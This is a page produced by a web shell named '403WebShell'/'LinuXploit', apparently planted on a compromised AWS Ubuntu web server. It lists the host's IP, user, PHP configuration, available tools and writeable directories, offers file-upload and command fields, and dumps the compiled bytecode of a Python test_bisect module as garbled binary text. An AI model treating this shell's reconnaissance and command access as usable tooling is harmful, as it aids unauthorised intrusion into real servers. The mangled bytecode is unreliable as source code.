Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_bisect.cpython-310.pyc
o

�9j�>�@srddlZddlZddlmZddlmZejddgd�Zejddgd�ZGdd	�d	e	�Z
Gd
d�d�ZGdd
�d
eej�Z
Gdd�deej�ZGdd�d�ZGdd�deej�ZGdd�deej�ZGdd�d�ZGdd�d�ZGdd�d�ZGdd�d�ZGdd�deej�ZGd d!�d!eej�ZGd"d#�d#�ZGd$d%�d%eej�ZGd&d'�d'eej�Zed(kr�e��dSdS))�N)�
import_helper)�UserList�bisect�_bisect)�blocked)�freshc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�Rangez:A trivial range()-like object that has an insert() method.cCs||_||_d|_dS�N)�start�stop�last_insert)�selfr
r�r�'/usr/lib/python3.10/test/test_bisect.py�__init__s
zRange.__init__cCs|j|jSr	)rr
�r
rrr�__len__sz
Range.__len__cCs6|j|j}|dkr||7}||krt|��|j|S)Nr)rr
�
IndexError)r
�idx�nrrr�__getitem__s
zRange.__getitem__cCs||f|_dSr	)r)r
r�itemrrr�insertszRange.insertN)�__name__�
__module__�__qualname__�__doc__rrrrrrrrr
src@sneZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zddd
�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZdS)�
TestBisectcCsg|jjgddf�|jjdgddf�|jjdgddf�|jjdgddf�|jjddgddf�|jjddgddf�|jjddgddf�|jjgd�ddf�|jjgd�ddf�|jjgd�ddf�|jjgd�ddf�|jjgd�ddf�|jjgd�ddf�|jjddgddf�|jjddgddf�|jjddgddf�|jjddgddf�|jjddgddf�|jjgd	�ddf�|jjgd	�ddf�|jjgd	�ddf�|jjgd	�ddf�|jjgd	�ddf�|jjgd
�ddf�|jjgd
�ddf�|jjgd
�ddf�|jjgd
�ddf�|jjgd
�ddf�|jjgd
�ddf�|jjgd
�ddf�|jjgd�ddf�|jjgd�ddf�|jjgd�ddf�|jjgd�ddf�|jjgd�ddf�|jjgd�dd
f�|jjgd�dd
f�|jjgd�ddf�|jjgd�ddf�|jjgddf�|jjdgddf�|jjdgddf�|jjdgddf�|jjddgddf�|jjddgddf�|jjddgddf�|jjgd�ddf�|jjgd�ddf�|jjgd�ddf�|jjgd�ddf�|jjgd�ddf�|jjgd�ddf�|jjddgddf�|jjddgddf�|jjddgddf�|jjddgddf�|jjddgddf�|jjgd	�ddf�|jjgd	�ddf�|jjgd	�ddf�|jjgd	�ddf�|jjgd	�ddf�|jjgd
�ddf�|jjgd
�ddf�|jjgd
�ddf�|jjgd
�ddf�|jjgd
�ddf�|jjgd
�ddf�|jjgd
�ddf�|jjgd�ddf�|jjgd�ddf�|jjgd�ddf�|jjgd�ddf�|jjgd�ddf�|jjgd�ddf�|jjgd�dd
f�|jjgd�dd
f�|jjgd�ddf�|_dS)N�r�)rrr�)rrrr�g�?)rrrr�rrr g@)
rrrr r r r!r!r!r!�g@�
�)�module�bisect_right�bisect_left�precomputedCasesrrrr�setUp!s:��������	�
���
������������������� �!�"�#�$�%�&�'�)�*�+�,�-�.�/�0�1�2�3�4�5�6�7�8�9�:�;�<�=�>�?�@�A�B�C�D�E�F�G�H�I�J�K�L�M�N�O
�zTestBisect.setUpcCs@|jD]\}}}}|�|||�|�|�|t|�|�|�qdSr	)r)�assertEqualr)r
�func�data�elem�expectedrrr�test_precomputedts�zTestBisect.test_precomputedcCsr|j}|�t|jgd�ddd�|�t|jgd�ddd�|�t|jgd�ddd�|�t|jgd�ddd�dS)Nr"r%���r )r&�assertRaises�
ValueErrorr(r'�insort_left�insort_right)r
�modrrr�test_negative_loys
zTestBisect.test_negative_locCs�|j}tj}t|d�}|�|�||d�|d�|�|�||d�|d�|�|�||d|d|�|d�|�|�||d|d|�|d�dS)Nrr rr$)r&�sys�maxsize�ranger+r(r')r
r6rr-rrr�test_large_range�s$(zTestBisect.test_large_rangecCs|j}tj}td|d�}|�|�||d�|d�|�|�||d�|d�|�|�||d|d|�|d�|�|�||d|d|�|d�|d}|�|||d|d�|�|j||f�|d}|�	|||d|d�|�|j|d|f�dS)	Nrrr rr$�d�2��)
r&r8r9rr+r(r'r4rr5)r
r6rr-�xrrr�test_large_pyrange�s$$zTestBisect.test_large_pyrange�cs�ddlm�t��D]c}��fdd�t|�D�}|���d�d�}|j�||�}|t|�kr9|�|||k�|dkrH|�||d|k�|j�||�}|t|�kr^|�|||k�|dkrm|�||d|k�q
dS)Nr)�	randrangecsg|]}�d�d��qS)rrr)�.0�j�rrBrr�
<listcomp>�sz*TestBisect.test_random.<locals>.<listcomp>r1r)	�randomrBr:�sortr&r(�len�
assertTruer')r
r�ir-r.�iprrEr�test_random�s"��zTestBisect.test_randomcCs6|jD]�\}}}}td�D]�}tt|�|�}tdd�D]{}tt|�|�}|||||�}|�||ko6|kn�||jjurM||krM|�|||k�||jjurb||krb|�||d|k�||jjuru||kru|�|||k�||jjur�||kr�|�||d|k�|�|t	|t||���qq
qdS)Nr!r �r)
r)r:�minrIrJr&r(r'r+�max)r
r,r-r.r/�lo�hirLrrr�test_optionalSlicing�s&���zTestBisect.test_optionalSlicingcC�|�|jj|jj�dSr	)r+r&rr'rrrr�test_backcompatibility��z!TestBisect.test_backcompatibilitycCs�gd�}|�|jj|dddd�d�|�|jj|dddd�d�|�|jj|dddd�d�|jj|dddd�|jj|dddd�|jj|dddd�|�|gd��dS)N)r$���(r=rArr )�ar?rQrRr)r$rWrArArArXrYr=)r+r&r(r'rr4r5�insort)r
r-rrr�test_keyword_args�szTestBisect.test_keyword_argscCs�|j}t}tgd�|d�}tt||��}|D]"}|�|j|||d�|�||��|�|j|||d�|�||��qtj	}td|d�}tt||��}|D]"}|�|j|||d�|�||��|�|j|||d�|�||��qKdS)N)r���r#rN�����key�aBcDeEfgHhiIiij)
r&�abs�sorted�list�mapr+r(r'�str�casefold)r
r6�keyfunc�arr�precomputed_arrr?rrr�test_lookups_with_key_function�s4
�
�
�
��z)TestBisect.test_lookups_with_key_functioncCs�ddlm}|j}t}ttdd��ttddd��}||�g}|D]}|j|||d�|�t||d�|�q"g}|D]}|j	|||d�|�t||d�|�q;dS)	Nr)�shuffler^�i��rWrr_)
rGrlr&rbrdr:r4r+rcr5)r
rlr6rhr-�targetr?rrr�test_insort�s(
�
��zTestBisect.test_insortcCs<g}ddd�}|jj|jjfD]}|jt|||dd�qdS)Nrr)rZ�brpr_)r&r4r5r2�	TypeError)r
r?�y�frrr�test_insort_keynotNones

�z!TestBisect.test_insort_keynotNoneN)rA)rrrr*r0r7r;r@rMrSrUr\rkrortrrrrr sS


!rc@�eZdZeZdS)�TestBisectPythonN�rrr�	py_bisectr&rrrrrv
�rvc@ru)�TestBisectCN�rrr�c_bisectr&rrrrrz
ryrzc@s&eZdZd	dd�Zdd�Zdd�ZdS)
�
TestInsort��cCslddlm}t�t�fD]'}t|�D]}|d�}|dvr!|jj}n|jj}|||�q|�t	|�|�qdS)Nr)�choice�
0123456789�02468)
rGrrdrr:r&r4r5r+rc)r
rr�insortedrK�digitrsrrr�test_vsBuiltinSorts
�zTestInsort.test_vsBuiltinSortcCrTr	)r+r&r[r5rrrrrUrVz!TestInsort.test_backcompatibilitycCsHGdd�dt�}|�}|j�|d�|j�|d�|�ddg|j�dS)Nc@seZdZgZdd�ZdS)z)TestInsort.test_listDerived.<locals>.ListcSs|j�||�dSr	)r-r)r
�indexrrrrr%sz0TestInsort.test_listDerived.<locals>.List.insertN)rrrr-rrrrr�List#�r�r$r%)rdr&r4r5r+r-)r
r��lstrrr�test_listDerived"s
zTestInsort.test_listDerivedN)r~)rrrr�rUr�rrrrr}s
r}c@ru)�TestInsortPythonNrwrrrrr�-ryr�c@ru)�TestInsortCNr{rrrrr�0ryr�c@�eZdZdZdd�ZdS)�LenOnlyz:Dummy sequence class defining __len__ but not __getitem__.cC�dS�Nr$rrrrrr7�zLenOnly.__len__N)rrrrrrrrrr�5r�r�c@r�)�GetOnlyz:Dummy sequence class defining __getitem__ but not __len__.cCr�r�r)r
�ndxrrrr<r�zGetOnly.__getitem__N)rrrrrrrrrr�:r�r�c@s,eZdZdZdd�ZeZeZeZeZeZ	dS)�CmpErrz;Dummy element that always raises an error during comparisoncCst�r	)�ZeroDivisionError)r
�otherrrr�__lt__Ar�z
CmpErr.__lt__N)
rrrrr��__gt__�__le__�__ge__�__eq__�__ne__rrrrr�?sr�c@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�TestErrorHandlingcCs6|jj|jj|jj|jjfD]
}|�t|dd�qdSr��r&r(r'r4r5r2rq�r
rsrrr�test_non_sequenceJs
��z#TestErrorHandling.test_non_sequencecC�8|jj|jj|jj|jjfD]}|�t|t�d�qdSr�)r&r(r'r4r5r2rqr�r�rrr�
test_len_onlyO�
��zTestErrorHandling.test_len_onlycCr�r�)r&r(r'r4r5r2rqr�r�rrr�
test_get_onlyTr�zTestErrorHandling.test_get_onlycCsFt�t�t�g}|jj|jj|jj|jjfD]
}|�t||d�qdSr�)r�r&r(r'r4r5r2r�)r
�seqrsrrr�test_cmp_errYs��zTestErrorHandling.test_cmp_errcCs4|jj|jj|jj|jjfD]	}|�t|d�qdSr�r�r�rrr�test_arg_parsing_s
��z"TestErrorHandling.test_arg_parsingN)rrrr�r�r�r�r�rrrrr�Isr�c@ru)�TestErrorHandlingPythonNrwrrrrr�dryr�c@ru)�TestErrorHandlingCNr{rrrrr�gryr�c@seZdZdd�Zdd�ZdS)�TestDocExamplecs<gd�df�fdd�	��fdd�dD�}��|gd��dS)	N)�<�F�P�Z�FDCBAcs�j�||�}||Sr	)r&r)�score�breakpoints�gradesrKrrr�gradensz)TestDocExample.test_grades.<locals>.gradecsg|]}�|��qSrr)rCr�)r�rrrFr�z.TestDocExample.test_grades.<locals>.<listcomp>)�!�c�Mr��Yr�r<)�F�A�Cr��Br�r�)r+)r
�resultr)r�r
r�test_gradesmszTestDocExample.test_gradescCs�gd�}|jdd�d�dd�|D�}|jj}|�|||d�d�|�|||d	�d
�|�|||d�d�|�|||d
�d�dS)N)��redr%��bluer��yellowrN��blackrcSs|dS)Nrr)�rrrr�<lambda>wsz,TestDocExample.test_colors.<locals>.<lambda>r_cSsg|]}|d�qS)rr)rCr�rrrrFxr�z.TestDocExample.test_colors.<locals>.<listcomp>rr�rr�r%r�rNr�)rHr&r(r+)r
r-�keysr(rrr�test_colorsuszTestDocExample.test_colorsN)rrrr�r�rrrrr�lsr�c@ru)�TestDocExamplePythonNrwrrrrr�ryr�c@ru)�TestDocExampleCNr{rrrrr��ryr��__main__)r8�unittest�test.supportr�collectionsr�import_fresh_modulerxr|�objectrr�TestCaservrzr}r�r�r�r�r�r�r�r�r�r�r�r�mainrrrr�<module>s4k
�

Youez - 2016 - github.com/yon3zu
LinuXploit